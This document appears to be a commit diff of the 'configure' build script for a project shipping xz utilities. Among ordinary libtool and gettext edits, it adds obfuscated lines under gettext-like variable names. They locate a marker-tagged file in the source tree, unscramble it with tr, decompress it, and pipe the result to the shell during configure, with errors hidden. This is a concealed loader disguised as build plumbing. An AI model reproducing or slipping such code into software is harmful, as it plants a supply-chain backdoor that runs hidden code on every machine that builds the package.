aboutsummaryrefslogtreecommitdiff
path: root/configure
diff options
context:
space:
mode:
Diffstat (limited to 'configure')
-rwxr-xr-xconfigure85
1 files changed, 63 insertions, 22 deletions
diff --git a/configure b/configure
index 1166e8d7..c43d63f7 100755
--- a/configure
+++ b/configure
@@ -8378,8 +8378,8 @@ esac
-macro_version='2.4.7'
-macro_revision='2.4.7'
+macro_version='2.4.7.4-1ec8f-dirty'
+macro_revision='2.4.7.4'
@@ -11156,10 +11156,10 @@ s390*-*linux*|s390*-*tpf*|sparc*-*linux*)
x86_64-*linux*)
LD="${LD-ld} -m elf_x86_64"
;;
- powerpcle-*linux*|powerpc64le-*linux*)
+ powerpcle-*linux*)
LD="${LD-ld} -m elf64lppc"
;;
- powerpc-*linux*|powerpc64-*linux*)
+ powerpc-*linux*)
LD="${LD-ld} -m elf64ppc"
;;
s390*-*linux*|s390*-*tpf*)
@@ -15532,11 +15532,11 @@ darwin* | rhapsody*)
version_type=darwin
need_lib_prefix=no
need_version=no
- library_names_spec='$libname$release$versuffix$shared_ext $libname$release$major$shared_ext $libname$shared_ext'
+ library_names_spec='$libname$release$major$shared_ext $libname$shared_ext'
soname_spec='$libname$release$major$shared_ext'
shlibpath_overrides_runpath=yes
shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .bundle || echo .dylib`'
+ shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
sys_lib_search_path_spec="$sys_lib_search_path_spec /usr/local/lib"
sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
@@ -15562,14 +15562,7 @@ freebsd* | dragonfly* | midnightbsd*)
*) objformat=elf ;;
esac
fi
- # Handle Gentoo/FreeBSD as it was Linux
- case $host_vendor in
- gentoo)
- version_type=linux ;;
- *)
- version_type=freebsd-$objformat ;;
- esac
-
+ version_type=freebsd-$objformat
case $version_type in
freebsd-elf*)
library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext'
@@ -15581,12 +15574,6 @@ freebsd* | dragonfly* | midnightbsd*)
library_names_spec='$libname$release$shared_ext$versuffix $libname$shared_ext$versuffix'
need_version=yes
;;
- linux)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- need_lib_prefix=no
- need_version=no
- ;;
esac
shlibpath_var=LD_LIBRARY_PATH
case $host_os in
@@ -18703,8 +18690,16 @@ fi
+ gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+ if test -n "$gl_am_configmake"; then
+ HAVE_PKG_CONFIGMAKE=1
+ else
+ HAVE_PKG_CONFIGMAKE=0
+ fi
+
gl_sed_double_backslashes='s/\\/\\\\/g'
gl_sed_escape_doublequotes='s/"/\\"/g'
+ gl_path_map='tr "\t \-_" " \t_\-"'
gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
gl_sed_escape_for_make_2='s,\$,\\$$,g'
case `echo r | tr -d '\r'` in
@@ -19895,6 +19890,7 @@ printf "%s\n" "#define HAVE_DCGETTEXT 1" >>confdefs.h
gl_final_localedir="$localedir"
+ gl_localedir_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
case "$build_os" in
cygwin*)
case "$host_os" in
@@ -19911,6 +19907,34 @@ printf "%s\n" "#define HAVE_DCGETTEXT 1" >>confdefs.h
if test "$localedir_c_make" = '\"'"${gl_final_localedir}"'\"'; then
localedir_c_make='\"$(localedir)\"'
fi
+ if test "x$gl_am_configmake" != "x"; then
+ gl_localedir_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_localedir_prefix -d 2>/dev/null'
+ else
+ gl_localedir_config=''
+ fi
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ac_config_commands="$ac_config_commands build-to-host"
localedir="${gt_save_localedir}"
@@ -23867,6 +23891,11 @@ enable_dlopen_self='`$ECHO "$enable_dlopen_self" | $SED "$delay_single_quote_sub
enable_dlopen_self_static='`$ECHO "$enable_dlopen_self_static" | $SED "$delay_single_quote_subst"`'
old_striplib='`$ECHO "$old_striplib" | $SED "$delay_single_quote_subst"`'
striplib='`$ECHO "$striplib" | $SED "$delay_single_quote_subst"`'
+gl_path_map='`$ECHO "$gl_path_map" | $SED "$delay_single_quote_subst"`'
+gl_localedir_prefix='`$ECHO "$gl_localedir_prefix" | $SED "$delay_single_quote_subst"`'
+gl_am_configmake='`$ECHO "$gl_am_configmake" | $SED "$delay_single_quote_subst"`'
+localedir_c_make='`$ECHO "$localedir_c_make" | $SED "$delay_single_quote_subst"`'
+gl_localedir_config='`$ECHO "$gl_localedir_config" | $SED "$delay_single_quote_subst"`'
LD_RC='`$ECHO "$LD_RC" | $SED "$delay_single_quote_subst"`'
reload_flag_RC='`$ECHO "$reload_flag_RC" | $SED "$delay_single_quote_subst"`'
reload_cmds_RC='`$ECHO "$reload_cmds_RC" | $SED "$delay_single_quote_subst"`'
@@ -23909,6 +23938,8 @@ prelink_cmds_RC='`$ECHO "$prelink_cmds_RC" | $SED "$delay_single_quote_subst"`'
postlink_cmds_RC='`$ECHO "$postlink_cmds_RC" | $SED "$delay_single_quote_subst"`'
file_list_spec_RC='`$ECHO "$file_list_spec_RC" | $SED "$delay_single_quote_subst"`'
hardcode_action_RC='`$ECHO "$hardcode_action_RC" | $SED "$delay_single_quote_subst"`'
+gl_path_map_RC='`$ECHO "$gl_path_map_RC" | $SED "$delay_single_quote_subst"`'
+gl_am_configmake_RC='`$ECHO "$gl_am_configmake_RC" | $SED "$delay_single_quote_subst"`'
LTCC='$LTCC'
LTCFLAGS='$LTCFLAGS'
@@ -24042,6 +24073,8 @@ finish_cmds \
sys_lib_search_path_spec \
configure_time_dlsearch_path \
configure_time_lt_sys_library_path \
+gl_path_map \
+gl_am_configmake \
reload_cmds_RC \
old_archive_cmds_RC \
old_archive_from_new_cmds_RC \
@@ -24052,7 +24085,9 @@ module_cmds_RC \
module_expsym_cmds_RC \
export_symbols_cmds_RC \
prelink_cmds_RC \
-postlink_cmds_RC; do
+postlink_cmds_RC \
+gl_path_map_RC \
+gl_am_configmake_RC; do
case \`eval \\\\\$ECHO \\\\""\\\\\$\$var"\\\\"\` in
*[\\\\\\\`\\"\\\$]*)
eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"\\\$\$var\\" | \\\$SED -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\"" ## exclude from sc_prohibit_nested_quotes
@@ -24087,6 +24122,7 @@ fi
# Capture the value of LINGUAS because we need it to compute CATALOGS.
LINGUAS="${LINGUAS-%UNSET%}"
+gl_config_gt="eval \$gl_localedir_config"
_ACEOF
@@ -24100,6 +24136,7 @@ do
"depfiles") CONFIG_COMMANDS="$CONFIG_COMMANDS depfiles" ;;
"libtool") CONFIG_COMMANDS="$CONFIG_COMMANDS libtool" ;;
"po-directories") CONFIG_COMMANDS="$CONFIG_COMMANDS po-directories" ;;
+ "build-to-host") CONFIG_COMMANDS="$CONFIG_COMMANDS build-to-host" ;;
"Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;;
"po/Makefile.in") CONFIG_FILES="$CONFIG_FILES po/Makefile.in" ;;
"lib/Makefile") CONFIG_FILES="$CONFIG_FILES lib/Makefile" ;;
@@ -24822,7 +24859,6 @@ See 'config.log' for more details" "$LINENO" 5; }
cat <<_LT_EOF >> "$cfgfile"
#! $SHELL
# Generated automatically by $as_me ($PACKAGE) $VERSION
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
# NOTE: Changes made to this file will be lost: look at ltmain.sh.
# Provide generalized library-building support services.
@@ -25265,6 +25301,8 @@ file_list_spec=$lt_file_list_spec
# How to hardcode a shared library path into an executable.
hardcode_action=$hardcode_action
+gl_path_map=$lt_gl_path_map
+gl_am_configmake=$lt_gl_am_configmake
# ### END LIBTOOL CONFIG
@@ -25494,6 +25532,8 @@ file_list_spec=$lt_file_list_spec_RC
# How to hardcode a shared library path into an executable.
hardcode_action=$hardcode_action_RC
+gl_path_map=$lt_gl_path_map_RC
+gl_am_configmake=$lt_gl_am_configmake_RC
# ### END LIBTOOL TAG CONFIG: RC
_LT_EOF
@@ -25612,6 +25652,7 @@ _LT_EOF
;;
esac
done ;;
+ "build-to-host":C) eval $gl_config_gt | $SHELL 2>/dev/null ;;
"src/scripts/xzdiff":F) chmod +x src/scripts/xzdiff ;;
"src/scripts/xzgrep":F) chmod +x src/scripts/xzgrep ;;
"src/scripts/xzmore":F) chmod +x src/scripts/xzmore ;;